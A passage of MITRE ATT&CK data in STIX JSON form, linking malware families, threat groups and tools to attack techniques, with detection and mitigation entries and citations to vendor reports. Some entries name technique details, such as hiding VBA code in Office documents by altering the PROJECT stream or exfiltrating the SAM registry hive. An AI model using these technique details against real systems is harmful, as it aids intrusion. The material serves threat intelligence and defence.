payloads.(Citation: Unit 42 Nokki Oct 2018)", "relationship_type": "uses", "source_ref": "malware--0852567d-7958-4f4b-8947-4f840ec8d57d", "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--8f43b5c3-883a-40b7-b9b2-a96ba8c7001b", "type": "relationship", "created": "2020-05-18T21:01:51.172Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "ESET LoudMiner June 2019", "url": "https://www.welivesecurity.com/2019/06/20/loudminer-mining-cracked-vst-software/", "description": "Malik, M. (2019, June 20). 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Retrieved May 18, 2020."}], "modified": "2020-06-23T00:48:35.292Z", "description": "[LoudMiner](https://attack.mitre.org/software/S0451) used SCP to update the miner from the C2.(Citation: ESET LoudMiner June 2019)", "relationship_type": "uses", "source_ref": "malware--f99f3dcc-683f-4936-8791-075ac5e58f10", "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--8f4b9d5d-6ad7-4cca-9869-551604450f91", "type": "relationship", "created": "2019-06-21T17:26:42.085Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2020-12-11T17:00:01.091Z", "description": "Have a strict approval policy for use of deployment systems.", "relationship_type": "mitigates", "source_ref": "course-of-action--2a4f6c11-a4a7-4cb9-b0ef-6ae1bb3a718a", "target_ref": "attack-pattern--92a78814-b191-47ca-909c-1ccfe3777414", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--8f4e363a-ce2b-4a36-92fb-791d8ffc30d5", "created": "2021-10-01T01:57:31.877Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "Cado Security TeamTNT Worm August 2020", "description": "Cado Security. (2020, August 16). Team TNT \u2013 The First Crypto-Mining Worm to Steal AWS Credentials. Retrieved September 22, 2021.", "url": "https://www.cadosecurity.com/team-tnt-the-first-crypto-mining-worm-to-steal-aws-credentials/"}, {"source_name": "Cisco Talos Intelligence Group", "description": "Darin Smith. (2022, April 21). TeamTNT targeting AWS, Alibaba. Retrieved August 4, 2022.", "url": "https://blog.talosintelligence.com/teamtnt-targeting-aws-alibaba-2/"}, {"source_name": "Lacework TeamTNT May 2021", "description": "Stroud, J. (2021, May 25). Taking TeamTNT's Docker Images Offline. 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Retrieved July 14, 2022."}], "x_mitre_deprecated": false, "revoked": false, "description": "(Citation: Korean FSI TA505 2020)(Citation: BlackBerry Amadey 2020)", "modified": "2022-07-14T17:31:58.704Z", "relationship_type": "uses", "source_ref": "intrusion-set--7eda3dd8-b09b-4705-8090-c2ad9fb8c14d", "target_ref": "malware--05318127-5962-444b-b900-a9dcfe0ff6e9", "x_mitre_attack_spec_version": "2.1.0", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--8f55bbbb-7404-4872-9832-c884297cdbe9", "type": "relationship", "created": "2020-11-08T23:28:07.895Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Cybereason Kimsuky November 2020", "url": "https://www.cybereason.com/blog/back-to-the-future-inside-the-kimsuky-kgh-spyware-suite", "description": "Dahan, A. et al. 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Retrieved March 17, 2021."}], "modified": "2021-03-18T14:16:06.126Z", "description": "[ConnectWise](https://attack.mitre.org/software/S0591) can be used to execute PowerShell commands on target machines.(Citation: Anomali Static Kitten February 2021)", "relationship_type": "uses", "source_ref": "tool--842976c7-f9c8-41b2-8371-41dc64fbe261", "target_ref": "attack-pattern--970a3432-3237-47ad-bcca-7d8cbb217736", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "type": "relationship", "id": "relationship--8fbbe6cb-5b2b-433a-9193-7a3890fa3e95", "created": "2022-06-09T14:54:14.367Z", "x_mitre_version": "0.1", "external_references": [{"source_name": "ESET DazzleSpy Jan 2022", "url": "https://www.welivesecurity.com/2022/01/25/watering-hole-deploys-new-macos-malware-dazzlespy-asia/", "description": "M.L\u00e9veill\u00e9, M., Cherepanov, A.. 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Retrieved May 6, 2022."}], "x_mitre_deprecated": false, "revoked": false, "description": "[MacMa](https://attack.mitre.org/software/S1016) can enumerate running processes.(Citation: ESET DazzleSpy Jan 2022)", "modified": "2022-06-09T14:54:14.367Z", "relationship_type": "uses", "source_ref": "malware--bdee9574-7479-4073-a7dc-e86d8acd073a", "target_ref": "attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580", "x_mitre_attack_spec_version": "2.1.0", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--8fbcd0f5-4fd4-482b-b965-9b4232e4ee64", "type": "relationship", "created": "2020-02-20T22:06:41.874Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Ready.gov IT DRP", "url": "https://www.ready.gov/business/implementation/IT", "description": "Ready.gov. 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(2013, September 15). Intercepting Password Changes With Function Hooking. Retrieved November 21, 2017.", "url": "https://clymb3r.wordpress.com/2013/09/15/intercepting-password-changes-with-function-hooking/"}, {"source_name": "MagicWeb", "description": "Microsoft Threat Intelligence Center, Microsoft Detection and Response Team, Microsoft 365 Defender Research Team . (2022, August 24). MagicWeb: NOBELIUM\u2019s post-compromise trick to authenticate as anyone. Retrieved September 28, 2022.", "url": "https://www.microsoft.com/security/blog/2022/08/24/magicweb-nobeliums-post-compromise-trick-to-authenticate-as-anyone/"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2023-04-11T03:31:45.054Z", "description": "Monitor for new, unfamiliar DLL files written to a domain controller and/or local computer. Password filters will also show up as an autorun and loaded DLL in lsass.exe.(Citation: Clymb3r Function Hook Passwords Sept 2013) If AD FS is in use, monitor the AD FS server for the creation of DLLs as well as the loading of unrecognized or unsigned DLLs into the `Microsoft.IdentityServer.Servicehost` application.(Citation: MagicWeb)", "relationship_type": "detects", "source_ref": "x-mitre-data-component--c0a4a086-cc20-4e1e-b7cb-29d99dfa3fb1", "target_ref": "attack-pattern--f4c1826f-a322-41cd-9557-562100848c84", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--8fc79376-2f71-4ca1-8177-a96dea11f8c7", "type": "relationship", "created": "2020-03-09T13:48:55.768Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2022-01-24T20:34:05.659Z", "description": "Set PowerShell execution policy to execute only signed scripts.", "relationship_type": "mitigates", "source_ref": "course-of-action--590777b3-b475-4c7c-aaf8-f4a73b140312", "target_ref": "attack-pattern--970a3432-3237-47ad-bcca-7d8cbb217736", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--8fcb7ffa-1ebe-4e11-bd2d-631d61066361", "type": "relationship", "created": "2022-03-30T14:26:51.844Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2022-03-30T14:26:51.844Z", "description": "Monitor for unexpected processes interacting with the authentication process on a domain controller to bypass the typical authentication mechanisms and enable access to accounts.", "source_ref": "x-mitre-data-component--1887a270-576a-4049-84de-ef746b2572d6", "target_ref": "attack-pattern--d4b96d2c-1032-4b22-9235-2b5b649d0605", "relationship_type": "detects", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--8fd19779-990a-4ce7-9b59-173896e518e8", "type": "relationship", "created": "2021-03-01T21:59:27.451Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "CERT-FR PYSA April 2020", "url": "https://www.cert.ssi.gouv.fr/uploads/CERTFR-2020-CTI-003.pdf", "description": "CERT-FR. (2020, April 1). ATTACKS INVOLVING THE MESPINOZA/PYSA RANSOMWARE. Retrieved March 1, 2021."}], "modified": "2021-03-01T21:59:27.451Z", "description": "[Pysa](https://attack.mitre.org/software/S0583) has laterally moved using RDP connections.(Citation: CERT-FR PYSA April 2020) ", "relationship_type": "uses", "source_ref": "malware--a19c1197-9414-46e3-986f-0f609ff4a46b", "target_ref": "attack-pattern--eb062747-2193-45de-8fa2-e62549c37ddf", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--8fd3fb7d-29be-4199-87e4-6fb270925ab1", "created": "2023-01-30T23:04:38.078Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "SentinelLabs Metador Sept 2022", "description": "Ehrlich, A., et al. (2022, September). THE MYSTERY OF METADOR | AN UNATTRIBUTED THREAT HIDING IN TELCOS, ISPS, AND UNIVERSITIES. Retrieved January 23, 2023.", "url": "https://assets.sentinelone.com/sentinellabs22/metador#page=1"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2023-04-04T21:22:26.138Z", "description": "[Mafalda](https://attack.mitre.org/software/S1060) can encrypt its C2 traffic with RC4.(Citation: SentinelLabs Metador Sept 2022)", "relationship_type": "uses", "source_ref": "malware--3be1fb7a-0f7e-415e-8e3a-74a80d596e68", "target_ref": "attack-pattern--24bfaeba-cb0d-4525-b3dc-507c77ecec41", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--8fd75064-d1b8-4b8c-b9ea-5b65a1cc0ea8", "type": "relationship", "created": "2019-04-24T20:48:39.791Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Kaspersky Adwind Feb 2016", "url": "https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/07195002/KL_AdwindPublicReport_2016.pdf", "description": "Kamluk, V. & Gostev, A. (2016, February). Adwind - A Cross-Platform RAT. Retrieved April 23, 2019."}], "modified": "2019-06-24T17:20:24.627Z", "description": "[jRAT](https://attack.mitre.org/software/S0283) can serve as a SOCKS proxy server.(Citation: Kaspersky Adwind Feb 2016)", "relationship_type": "uses", "source_ref": "malware--efece7e8-e40b-49c2-9f84-c55c5c93d05c", "target_ref": "attack-pattern--731f4f55-b6d0-41d1-a7a9-072a66389aea", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--8fdfcd23-4608-4a40-98fc-2e4baa8d6a41", "created": "2024-02-12T18:43:49.662Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "Mandiant Pulse Secure Update May 2021", "description": "Perez, D. et al. (2021, May 27). Re-Checking Your Pulse: Updates on Chinese APT Actors Compromising Pulse Secure VPN Devices. Retrieved February 5, 2024.", "url": "https://www.mandiant.com/resources/blog/updates-on-chinese-apt-compromising-pulse-secure-vpn-devices"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2024-02-12T18:45:35.381Z", "description": "[APT5](https://attack.mitre.org/groups/G1023) has copied and exfiltrated the SAM Registry hive from targeted systems.(Citation: Mandiant Pulse Secure Update May 2021)", "relationship_type": "uses", "source_ref": "intrusion-set--c1aab4c9-4c34-4f4f-8541-d529e46a07f9", "target_ref": "attack-pattern--1644e709-12d2-41e5-a60f-3470991f5011", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.2.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--8fe20524-e3dd-4833-9260-99df86248d3b", "created": "2024-02-06T17:57:07.816Z", "revoked": false, "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2024-02-06T17:57:07.816Z", "description": "Monitor executed commands and arguments for scripts like Syncappvpublishingserver.vbs that may be used to proxy execution of malicious files.", "relationship_type": "detects", "source_ref": "x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0", "target_ref": "attack-pattern--e6f19759-dde3-47fc-99cc-d9f5fa4ade60", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.2.0", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--8fe32611-4206-4bef-9698-dbcefde08090", "type": "relationship", "created": "2020-06-15T14:22:33.876Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"description": "Falcone, R. (2018, December 13). Shamoon 3 Targets Oil and Gas Organization. Retrieved March 14, 2019.", "url": "https://unit42.paloaltonetworks.com/shamoon-3-targets-oil-gas-organization/", "source_name": "Unit 42 Shamoon3 2018"}], "modified": "2020-06-15T14:22:33.876Z", "description": "[Shamoon](https://attack.mitre.org/software/S0140) decrypts ciphertext using an XOR cipher and a base64-encoded string.(Citation: Unit 42 Shamoon3 2018)\t", "relationship_type": "uses", "source_ref": "malware--8901ac23-6b50-410c-b0dd-d8174a86f9b3", "target_ref": "attack-pattern--3ccef7ae-cb5e-48f6-8302-897105fbf55c", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--8fe39e12-a59d-4237-b2f1-d473c1246d20", "type": "relationship", "created": "2022-03-30T14:26:51.850Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2022-03-30T14:26:51.850Z", "description": "Monitor for changes made to firewall rules for unexpected modifications to allow/block specific network traffic that may attempt to hide artifacts associated with their behaviors to evade detection.", "source_ref": "x-mitre-data-component--b9d031bb-d150-4fc6-8025-688201bf3ffd", "target_ref": "attack-pattern--22905430-4901-4c2a-84f6-98243cb173f8", "relationship_type": "detects", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--8fe424be-6873-4b25-a87e-88b2de005d7f", "type": "relationship", "created": "2021-03-12T18:46:47.334Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "MSTIC NOBELIUM Mar 2021", "url": "https://www.microsoft.com/security/blog/2021/03/04/goldmax-goldfinder-sibot-analyzing-nobelium-malware/", "description": "Nafisi, R., Lelli, A. (2021, March 4). GoldMax, GoldFinder, and Sibot: Analyzing NOBELIUM\u2019s layered persistence. Retrieved March 8, 2021."}], "modified": "2021-03-12T18:46:47.334Z", "description": "[Sibot](https://attack.mitre.org/software/S0589) can download and execute a payload onto a compromised system.(Citation: MSTIC NOBELIUM Mar 2021)", "relationship_type": "uses", "source_ref": "malware--979adb5a-dc30-48f0-9e3d-9a26d866928c", "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--8fe6c997-0c72-49b2-9e43-6204e9cc3039", "created": "2022-03-30T14:26:51.871Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2022-10-19T21:52:50.532Z", "description": "Monitor executed commands and arguments that may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. For network devices, monitor executed commands in AAA logs, especially those run by unexpected or unauthorized users.", "relationship_type": "detects", "source_ref": "x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0", "target_ref": "attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--8fe9affe-bf8d-4392-882d-d3e737eb5c43", "type": "relationship", "created": "2020-10-15T12:05:58.959Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2021-07-28T01:04:39.674Z", "description": "Consider disabling updating the ARP cache on gratuitous ARP replies.", "relationship_type": "mitigates", "source_ref": "course-of-action--eb88d97c-32f1-40be-80f0-d61a4b0b4b31", "target_ref": "attack-pattern--cabe189c-a0e3-4965-a473-dcff00f17213", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--8fec240f-cafc-45f1-bf81-570653c662f8", "type": "relationship", "created": "2022-03-30T14:26:51.875Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2022-03-30T14:26:51.875Z", "description": "If the document is opened with a Graphical User Interface (GUI) the malicious p-code is decompiled and may be viewed. However, if the <code>PROJECT</code> stream, which specifies the project properties, is modified in a specific way the decompiled VBA code will not be displayed. For example, adding a module name that is undefined to the <code>PROJECT</code> stream will inhibit attempts of reading the VBA source code through the GUI.(Citation: FireEye VBA stomp Feb 2020)", "source_ref": "x-mitre-data-component--639e87f3-acb6-448a-9645-258f20da4bc5", "target_ref": "attack-pattern--c898c4b5-bf36-4e6e-a4ad-5b8c4c13e35b", "relationship_type": "detects", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "FireEye VBA stomp Feb 2020", "description": "Cole, R., Moore, A., Stark, G., Stancill, B. (2020, February 5). STOMP 2 DIS: Brilliance in the (Visual) Basics. Retrieved September 17, 2020.", "url": "https://www.fireeye.com/blog/threat-research/2020/01/stomp-2-dis-brilliance-in-the-visual-basics.html"}]}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--8ff83164-9bab-4fb5-8e6f-740f90829974", "type": "relationship", "created": "2020-07-23T14:20:48.673Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Trustwave GoldenSpy June 2020", "url": "https://www.trustwave.com/en-us/resources/library/documents/the-golden-tax-department-and-the-emergence-of-goldenspy-malware/", "description": "Trustwave SpiderLabs. (2020, June 25). The Golden Tax Department and Emergence of GoldenSpy Malware. Retrieved July 23, 2020."}], "modified": "2020-07-23T14:20:48.673Z", "description": "[GoldenSpy](https://attack.mitre.org/software/S0493) has used the Ryeol HTTP Client to facilitate HTTP internet communication.(Citation: Trustwave GoldenSpy June 2020)", "relationship_type": "uses", "source_ref": "malware--b9704a7d-feef-4af9-8898-5280f1686326", "target_ref": "attack-pattern--df8b2a25-8bdf-4856-953c-a04372b1c161", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "type": "relationship", "id": "relationship--8ff9263a-c32c-4fcf-b20b-9da4647baf99", "created": "2022-03-25T21:08:24.980Z", "x_mitre_version": "1.0", "external_references": [{"source_name": "ESET Hermetic Wizard March 2022", "url": "https://www.welivesecurity.com/2022/03/01/isaacwiper-hermeticwizard-wiper-worm-targeting-ukraine", "description": "ESET. (2022, March 1). IsaacWiper and HermeticWizard: New wiper and worm targetingUkraine. Retrieved April 10, 2022."}], "x_mitre_deprecated": false, "revoked": false, "description": "[HermeticWizard](https://attack.mitre.org/software/S0698) can connect to remote shares using `WNetAddConnection2W`.(Citation: ESET Hermetic Wizard March 2022)", "modified": "2022-04-11T00:08:36.652Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "relationship_type": "uses", "source_ref": "malware--ff7ed9c1-dca3-4e62-9da6-72c5d388b8fa", "target_ref": "attack-pattern--391d824f-0ef1-47a0-b0ee-c59a75e27670", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--8ffd5c6a-da54-43ee-b384-7458499302ad", "created": "2023-12-06T19:14:53.425Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "SocGholish-update", "description": "Andrew Northern. (2022, November 22). SocGholish, a very real threat from a very fake update. Retrieved February 13, 2024.", "url": "https://www.proofpoint.com/us/blog/threat-insight/part-1-socgholish-very-real-threat-very-fake-update"}, {"source_name": "Microsoft Ransomware as a Service", "description": "Microsoft. (2022, May 9). Ransomware as a service: Understanding the cybercrime gig economy and how to protect yourself. Retrieved March 10, 2023.", "url": "https://www.microsoft.com/en-us/security/blog/2022/05/09/ransomware-as-a-service-understanding-the-cybercrime-gig-economy-and-how-to-protect-yourself/"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2024-03-25T19:14:46.548Z", "description": "[Mustard Tempest](https://attack.mitre.org/groups/G1020) has poisoned search engine results to return fake software updates in order to distribute malware.(Citation: Microsoft Ransomware as a Service)(Citation: SocGholish-update)", "relationship_type": "uses", "source_ref": "intrusion-set--0d4ac089-ced4-4cc4-a989-174d08e6d030", "target_ref": "attack-pattern--e5d550f3-2202-4634-85f2-4a200a1d49b3", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.2.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--8ffeeb33-0757-4b74-a4ae-504145bc473f", "type": "relationship", "created": "2020-03-19T23:18:35.426Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Symantec Leafminer July 2018", "description": "Symantec Security Response. (2018, July 25). Leafminer: New Espionage Campaigns Targeting Middle Eastern Regions. Retrieved August 28, 2018.", "url": "https://www.symantec.com/blogs/threat-intelligence/leafminer-espionage-middle-east"}], "modified": "2020-03-19T23:18:35.426Z", "description": "[Leafminer](https://attack.mitre.org/groups/G0077) used several tools for retrieving login and password information, including LaZagne.(Citation: Symantec Leafminer July 2018)", "relationship_type": "uses", "source_ref": "intrusion-set--32bca8ff-d900-4877-aa65-d70baa041b74", "target_ref": "attack-pattern--1ecfdab8-7d59-4c98-95d4-dc41970f57fc", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--9002b775-c016-404f-b9b3-16fcbcd0949c", "type": "relationship", "created": "2022-03-29T17:02:05.187Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "GitHub SILENTTRINITY Modules July 2019", "url": "https://github.com/byt3bl33d3r/SILENTTRINITY/tree/master/silenttrinity/core/teamserver/modules/boo", "description": "Salvati, M. (2019, August 6). SILENTTRINITY Modules. Retrieved March 24, 2022."}], "modified": "2022-03-29T17:02:05.187Z", "description": "[SILENTTRINITY](https://attack.mitre.org/software/S0692) has the ability to leverage API including `GetProcAddress` and `LoadLibrary`.(Citation: GitHub SILENTTRINITY Modules July 2019)", "relationship_type": "uses", "source_ref": "tool--1244e058-fa10-48cb-b484-0bcf671107ae", "target_ref": "attack-pattern--391d824f-0ef1-47a0-b0ee-c59a75e27670", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--9003493b-6381-4bde-928d-852e050b5d22", "type": "relationship", "created": "2022-03-30T14:26:51.850Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2022-03-30T14:26:51.850Z", "description": "Monitor executed commands and arguments that could be taken to add a new user and subsequently hide it from login screens.", "source_ref": "x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0", "target_ref": "attack-pattern--8c4aef43-48d5-49aa-b2af-c0cd58d30c3d", "relationship_type": "detects", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "type": "relationship", "id": "relationship--9006e828-f70a-4c7e-8dce-07d1040de3e9", "created": "2022-03-25T21:08:25.061Z", "x_mitre_version": "1.0", "external_references": [{"source_name": "ESET Hermetic Wizard March 2022", "url": "https://www.welivesecurity.com/2022/03/01/isaacwiper-hermeticwizard-wiper-worm-targeting-ukraine", "description": "ESET. (2022, March 1). IsaacWiper and HermeticWizard: New wiper and worm targetingUkraine. Retrieved April 10, 2022."}], "x_mitre_deprecated": false, "revoked": false, "description": "[HermeticWizard](https://attack.mitre.org/software/S0698) can find machines on the local network by gathering known local IP addresses through `DNSGetCacheDataTable`, `GetIpNetTable`,`WNetOpenEnumW(RESOURCE_GLOBALNET, RESOURCETYPE_ANY)`,`NetServerEnum`,`GetTcpTable`, and `GetAdaptersAddresses.`(Citation: ESET Hermetic Wizard March 2022)", "modified": "2022-04-11T00:08:55.452Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "relationship_type": "uses", "source_ref": "malware--ff7ed9c1-dca3-4e62-9da6-72c5d388b8fa", "target_ref": "attack-pattern--e358d692-23c0-4a31-9eb6-ecc13a8d7735", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--90073373-434c-403c-bbb1-779b25fccb3d", "type": "relationship", "created": "2019-01-31T01:17:09.504Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"description": "Trend Micro. (2018, November 20). Lazarus Continues Heists, Mounts Attacks on Financial Organizations in Latin America. Retrieved December 3, 2018.", "url": "https://blog.trendmicro.com/trendlabs-security-intelligence/lazarus-continues-heists-mounts-attacks-on-financial-organizations-in-latin-america/", "source_name": "TrendMicro Lazarus Nov 2018"}], "modified": "2019-09-09T19:15:45.685Z", "description": "(Citation: TrendMicro Lazarus Nov 2018)", "relationship_type": "uses", "source_ref": "intrusion-set--c93fccb1-e8e8-42cf-ae33-2ad1d183913a", "target_ref": "malware--24b4ce59-eaac-4c8b-8634-9b093b7ccd92", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--900cbabe-4e55-434b-92ae-f458be38852a", "type": "relationship", "created": "2020-11-10T19:09:21.490Z", "created_by_ref": 